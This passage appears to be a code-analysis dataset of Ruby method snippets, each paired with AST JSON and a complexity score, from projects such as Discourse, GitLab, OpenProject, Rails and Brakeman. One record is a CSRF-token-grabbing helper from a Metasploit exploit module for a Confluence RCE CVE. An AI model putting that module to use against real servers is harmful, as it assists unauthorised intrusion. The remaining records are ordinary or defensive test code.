end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_user_visits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MessageBus\"]},\"publish\",{\"type\":\"str\",\"children\":[\"/merge_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.user.merge_user.merging_user_visits\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acting_user\"]},\"id\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_user_id\",{\"type\":\"sym\",\"children\":[\"user_visits\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"str\",\"children\":[\"x.visited_at = y.visited_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_visits AS t\\n\"]},{\"type\":\"str\",\"children\":[\"SET posts_read = t.posts_read + s.posts_read,\\n\"]},{\"type\":\"str\",\"children\":[\"  mobile       = t.mobile OR s.mobile,\\n\"]},{\"type\":\"str\",\"children\":[\"  time_read    = t.time_read + s.time_read\\n\"]},{\"type\":\"str\",\"children\":[\"FROM user_visits AS s\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.user_id = :target_user_id AND s.user_id = :source_user_id\\n\"]},{\"type\":\"str\",\"children\":[\"      AND t.visited_at = s.visited_at\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_user\"]},\"id\"]}]}]}]}]}]}","id":"2cf6af84-3280-42e1-80b0-4c6bb222e8b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":323,"raw_source":"def render_error(message, status: 500, raised_at: nil)\n    error = { errors: [message: message] }\n    error[:errors].first['raisedAt'] = raised_at if raised_at\n\n    render json: error, status: status\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"render_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"kwoptarg\",\"children\":[\"raised_at\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raised_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"first\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"raisedAt\"]},{\"type\":\"lvar\",\"children\":[\"raised_at\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}","id":"e9fa0e1c-8e35-451f-8087-7437bbd89d2e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/require_profiler.rb","start_line":56,"raw_source":"def stop\n      @stop_time = Time.now\n      [\n        ::Kernel,\n        (\n          class << ::Kernel\n            self\n          end\n        ),\n      ].each do |klass|\n        klass.class_eval do\n          alias require require_without_profiling\n          alias load load_without_profiling\n        end\n      end\n      @profiling_enabled = false\n    end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stop_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kernel\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"sclass\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kernel\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"alias\",\"children\":[{\"type\":\"sym\",\"children\":[\"require\"]},{\"type\":\"sym\",\"children\":[\"require_without_profiling\"]}]},{\"type\":\"alias\",\"children\":[{\"type\":\"sym\",\"children\":[\"load\"]},{\"type\":\"sym\",\"children\":[\"load_without_profiling\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@profiling_enabled\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"b63ed276-ad51-40f2-b3d3-26811d53835c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/share_modal.rb","start_line":125,"raw_source":"def expect_select_all_untoggled\n        within shares_header do\n          expect(page).to have_unchecked_field(\"toggle_all\")\n        end\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_select_all_untoggled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"shares_header\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_unchecked_field\",{\"type\":\"str\",\"children\":[\"toggle_all\"]}]}]}]}]}","id":"ba0d1176-8df1-42dc-b14e-d5e353efbe03"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb","start_line":136,"raw_source":"def get_csrf(page, operation)\n    # Perform a GET request to the target page to grab a CSRF token.\n    res_get_csrf = send_request_cgi(\n      'method' => 'GET',\n      'keep_cookies' => 'true',\n      'uri' => normalize_uri(target_uri.path, page)\n    )\n\n    # Connection failure, no response, or malformed response.\n    fail_with(Failure::Unknown, \"Target did not respond as expected when fetching #{operation} CSRF token\") unless res_get_csrf\n\n    # If the response is not 200 and does not contain the string \"atl_token\", the target page has behaved unexpectedly.\n    fail_with(Failure::UnexpectedReply, \"Target returned a response that did not contain #{operation} CSRF token\") unless res_get_csrf.code == 200 && res_get_csrf.body.include?('atl_token')\n\n    # Response page should contain '<input type=\"hidden\" name=\"atl_token\" value=\"tokenhere\">'.\n    csrf_token = res_get_csrf.get_xml_document.xpath('//input[@name=\"atl_token\"]').first&.values&.[](2)\n\n    # Token should be 40 characters.\n    fail_with(Failure::UnexpectedReply, \"Target did not return the expected 40-character #{operation} CSRF token\") unless csrf_token&.length == 40\n\n    vprint_status(\"Grabbed #{operation} CSRF token: #{csrf_token}\")\n\n    csrf_token\n  end","complexity_score":31.13,"ast_json":"{\"type\":\"def\",\"children\":[\"get_csrf\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"operation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_get_csrf\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_get_csrf\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not respond as expected when fetching \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"str\",\"children\":[\" CSRF token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_get_csrf\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_get_csrf\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"atl_token\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target returned a response that did not contain \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"str\",\"children\":[\" CSRF token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_get_csrf\"]},\"get_xml_document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//input[@name=\\\"atl_token\\\"]\"]}]},\"first\"]},\"values\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_token\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[40]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Target did not return the expected 40-character \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"str\",\"children\":[\" CSRF token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Grabbed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]}]},{\"type\":\"str\",\"children\":[\" CSRF token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]}]}","id":"abaed880-3d0f-4177-8b14-12337fc24ce2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/milestoneish.rb","start_line":14,"raw_source":"def opened_issues_count\n    total_issues_count - closed_issues_count\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"opened_issues_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_issues_count\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"closed_issues_count\"]}]}]}","id":"dd0243b8-0a5e-44e7-be6a-fe9e00680b95"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200902054531_add_first_unread_pm_a_to_group_user.rb","start_line":4,"raw_source":"def up\n    add_column :group_users,\n               :first_unread_pm_at,\n               :datetime,\n               null: false,\n               default: -> { \"CURRENT_TIMESTAMP\" }\n\n    execute <<~SQL\n    UPDATE group_users gu\n    SET first_unread_pm_at = gu.created_at\n    SQL\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"group_users\"]},{\"type\":\"sym\",\"children\":[\"first_unread_pm_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"CURRENT_TIMESTAMP\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE group_users gu\\n\"]},{\"type\":\"str\",\"children\":[\"SET first_unread_pm_at = gu.created_at\\n\"]}]}]}]}]}","id":"a0e67677-69d3-4156-8b05-b9c9a0bac179"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/jobs/regular/stream_discover_reply_spec.rb","start_line":22,"raw_source":"def with_responses(responses)\n      DiscourseAi::Completions::Llm.with_prepared_responses(responses) { yield }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_responses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"responses\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"Llm\"]},\"with_prepared_responses\",{\"type\":\"lvar\",\"children\":[\"responses\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"1f42efbd-9e0d-462c-9817-a25fc4243511"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails7.rb","start_line":106,"raw_source":"def test_weak_cryptography_2\n    assert_warning check_name: \"WeakRSAKey\",\n      type: :warning,\n      warning_code: 128,\n      fingerprint: \"0f23edef18a0d092581daff053a88b523a56f50c03367907c0167af50d01dec2\",\n      warning_type: \"Weak Cryptography\",\n      line: 17,\n      message: /^RSA\\ key\\ with\\ size\\ `1024`\\ is\\ considered\\ w/,\n      confidence: 1,\n      relative_path: \"lib/some_lib.rb\",\n      code: s(:call, s(:colon2, s(:colon2, s(:const, :OpenSSL), :PKey), :RSA), :new, s(:lit, 1024)),\n      user_input: s(:lit, 1024)\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_weak_cryptography_2\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_name\"]},{\"type\":\"str\",\"children\":[\"WeakRSAKey\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[128]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"0f23edef18a0d092581daff053a88b523a56f50c03367907c0167af50d01dec2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Weak Cryptography\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^RSA\\\\ key\\\\ with\\\\ size\\\\ `1024`\\\\ is\\\\ considered\\\\ w\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"lib/some_lib.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"colon2\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"colon2\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"OpenSSL\"]}]},{\"type\":\"sym\",\"children\":[\"PKey\"]}]},{\"type\":\"sym\",\"children\":[\"RSA\"]}]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]}]}]}","id":"0f2771fe-cc05-4f8a-a7af-5c0ac7f65616"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/open_storage_query.rb","start_line":49,"raw_source":"def handle_responses(response)\n              error = Results::Error.new(source: self.class, payload: @storage)\n\n              case response\n              in { status: 200..299 }\n                Success(response.json(symbolize_keys: true))\n              in { status: 404 }\n                Failure(error.with(code: :not_found))\n              in { status: 403 }\n                Failure(error.with(code: :forbidden))\n              in { status: 401 }\n                Failure(error.with(code: :unauthorized))\n              else\n                Failure(error.with(code: :error))\n              end\n            end","complexity_score":17.58,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_responses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"int\",\"children\":[299]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"6c538ab1-4cae-427f-ba2e-a981f4a1ffa7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":436,"raw_source":"def test_should_not_allow_xhr_post_without_token\n    assert_blocked { post :index, xhr: true }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_allow_xhr_post_without_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xhr\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6cce629a-dec8-493a-8147-8393af7377ed"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/bulk/move_service.rb","start_line":43,"raw_source":"def call_move_hook(work_package, params)\n        return if OpenProject::Hook.hook_listeners(:controller_work_packages_move_before_save).empty?\n\n        call_hook(:controller_work_packages_move_before_save,\n                  params:,\n                  work_package:,\n                  target_project: params[:project_id] ? Project.find_by(id: params[:project_id]) : nil,\n                  copy: false)\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call_move_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Hook\"]},\"hook_listeners\",{\"type\":\"sym\",\"children\":[\"controller_work_packages_move_before_save\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"call_hook\",{\"type\":\"sym\",\"children\":[\"controller_work_packages_move_before_save\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copy\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"d6dd6ea5-49dc-4bad-970b-27287e29abc5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/support/pages/ifc_models/index.rb","start_line":138,"raw_source":"def click_toolbar_button(test_selector)\n        page.find_test_selector(test_selector).click\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_toolbar_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_selector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"lvar\",\"children\":[\"test_selector\"]}]},\"click\"]}]}","id":"1ee3c09f-4e8a-4a6e-bc0d-59ae0c12f1a6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/timestamp_test.rb","start_line":193,"raw_source":"def test_adds_column_as_custom_type\n    original, $stdout = $stdout, StringIO.new\n\n    PostgresqlTimestampWithZone.lease_connection.execute(\"CREATE TYPE custom_time_format AS ENUM ('past', 'present', 'future');\")\n\n    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES[:datetimes_as_enum] = { name: \"custom_time_format\" }\n    with_postgresql_datetime_type(:datetimes_as_enum) do\n      ActiveRecord::Migration.new.add_column :postgresql_timestamp_with_zones, :times, :datetime, precision: nil\n\n      assert_equal({ \"data_type\" => \"USER-DEFINED\", \"udt_name\" => \"custom_time_format\" },\n                   PostgresqlTimestampWithZone.lease_connection.execute(\"select data_type, udt_name from information_schema.columns where column_name = 'times'\").to_a.first)\n    end\n  ensure\n    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::NATIVE_DATABASE_TYPES.delete(:datetimes_as_enum)\n    $stdout = original\n  end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_adds_column_as_custom_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original\"]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlTimestampWithZone\"]},\"lease_connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"CREATE TYPE custom_time_format AS ENUM ('past', 'present', 